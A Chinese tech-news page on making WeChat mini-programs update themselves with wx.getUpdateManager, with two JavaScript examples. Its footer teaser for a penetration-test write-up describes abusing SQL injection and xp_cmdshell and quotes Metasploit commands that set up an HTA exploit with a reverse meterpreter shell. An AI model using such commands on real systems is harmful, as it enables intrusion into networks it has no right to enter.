【小程序】 版本自动更新的实现
更新问题
微信小程序遇到新版本发布后,旧版本无法自动更新的困扰. 我之前进行开发的时候:
- 最笨的方法就是,删除小程序后再重新搜索打开就好;
注意:准确来讲,版本自动更新的方法越早进行补充越合理, 尤其适合前期使用人数较少的时候就做补充 以避免后期使用人数太多时而旧版本依然无法检测更新及时替换的情况
实现方案
1.小程序的运行机制
- 热启动:小程序打开后在一段时间内(目前5分钟)再次被打开,此时会将后台的小程序切换到前台。
- 冷启动:小程序首次打开或者销毁后重新打开
2.更新版本
- 冷启动时,如果发现有新版本,将会异步下载新版本的代码包,并同时用客户端本地的包进行启动,及新版本的小程序需要等下一次冷启动才会应用上; 如果马上应用最新版本,使用
wx.getUpdateManager API
进行处理。
实现一:
/** * 检测当前的小程序 * 是否是最新版本,是否需要下载、更新 */ function checkUpdateVersion() { //创建 UpdateManager 实例 const updateManager = wx.getUpdateManager(); //检测版本更新 updateManager.onCheckForUpdate(function (res) { // 请求完新版本信息的回调 if (res.hasUpdate) { //监听小程序有版本更新事件 updateManager.onUpdateReady(function () { wx.showModal({ title: "更新提示", content: "新版本已经准备好,是否重启应用?", success(res) { if (res.confirm) { // 新的版本已经下载好,调用 applyUpdate 应用新版本并重启 updateManager.applyUpdate(); } }, }); }); updateManager.onUpdateFailed(function () { // 新版本下载失败 wx.showModal({ title: "已经有新版本咯~", content: "请您删除当前小程序,到微信 “发现-小程序” 页,重新搜索打开呦~", }); }); } }); }
实现二:自动更新
为了版本的统一化,当然是建议小程序可以自动更新,所以升级一下代码如下:
/** * 检测当前的小程序 * 是否是最新版本,是否需要下载、更新 */ function checkUpdateVersion() { //判断微信版本是否 兼容小程序更新机制API的使用 if (wx.canIUse("getUpdateManager")) { //创建 UpdateManager 实例 const updateManager = wx.getUpdateManager(); //检测版本更新 updateManager.onCheckForUpdate(function (res) { // 请求完新版本信息的回调 if (res.hasUpdate) { //监听小程序有版本更新事件 updateManager.onUpdateReady(function () { //TODO 新的版本已经下载好,调用 applyUpdate 应用新版本并重启 ( 此处进行了自动更新操作) updateManager.applyUpdate(); }); updateManager.onUpdateFailed(function () { // 新版本下载失败 wx.showModal({ title: "已经有新版本喽~", content: "请您删除当前小程序,到微信 “发现-小程序” 页,重新搜索打开哦~", }); }); } }); } else { //TODO 此时微信版本太低(一般而言版本都是支持的) wx.showModal({ title: "溫馨提示", content:"当前微信版本过低,无法使用该功能,请升级到最新微信版本后重试。", }); } }
具体使用
- 在utils/util.js
module.exports = { checkUpdateVersion, }
2.引入 app.js
低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
Rust 进一步回应 Mozilla 裁员:Rust 团队成员不受影响,计划创建 Rust 基金会
在Mozilla裁员事件闹得沸沸扬扬之际,背后主要是 Mozilla 的 Rust 语言项目团队在发布了一个简短声明,表示Rust 项目没有危险之后,又紧接着发布了一篇官方博客,针对此事件进行了详细说明。 2020 年 8 月 11 日星期二,Mozilla 宣布他们决定重组公司,并裁员约 250 人,其中包括 Rust 项目和 Rust 社区的活跃成员。可以理解的是,这些裁员对 Rust 项目本身的影响产生了很多不确定性和混乱。我们在这篇文章中的目标是解决这些担忧。同时,我们也有一个重要的消息要宣布。 Rust Core 团队称,尽管产生了深远的个人影响,但 Rust 项目作为一个整体还是对此类事件具有很大的适应性。“我们有来自不同背景和雇主的领导者和贡献者,这种多样性是一种重要的力量。此外,一个普遍的误解是,所有参加 Rust 领导的 Mozilla 员工都把这个当做了他们工作的一部分。实际上,Rust 领导层中的许多 Mozilla 员工都是在个人时间内为 Rust 做出贡献的,而不是作为工作的一部分。” “最后,我们要强调,Rust 团队的成员资格是授予个人的,并且与雇主无关。...
- 下一篇
从SQL注入到拿下三个域控
这次渗透是从站库分离的情况下在深入进去内网在拿下域控服务器,也都是普通的渗透思路,并没有什么技术含量!首先WEB点是一个MSSQL注入漏洞,并且这个注入是sa权限的!首先这个站点是使用JoomlaCMS搭建的,但是在一处Study信息登记处发现了SQL注入漏洞 接着抓下此处查询的数据包进行注入,并且或者了是高权限,可以开启xp_cmdshell来进行进一步的提权。在注入的返回的指纹信息可以获知对方的操作系统大概率就是windows Server 2012系统 那么接下来不用想就是直接提权到MSF上面了,这里使用hta来提权到MSF msf5 > use exploit/windows/misc/hta_server msf5 exploit(windows/misc/hta_server) > set payload windows/meterpreter/reverse_http payload => windows/meterpreter/reverse_http msf5 exploit(windows/misc/hta_server) > set lho...
相关文章
文章评论
共有0条评论来说两句吧...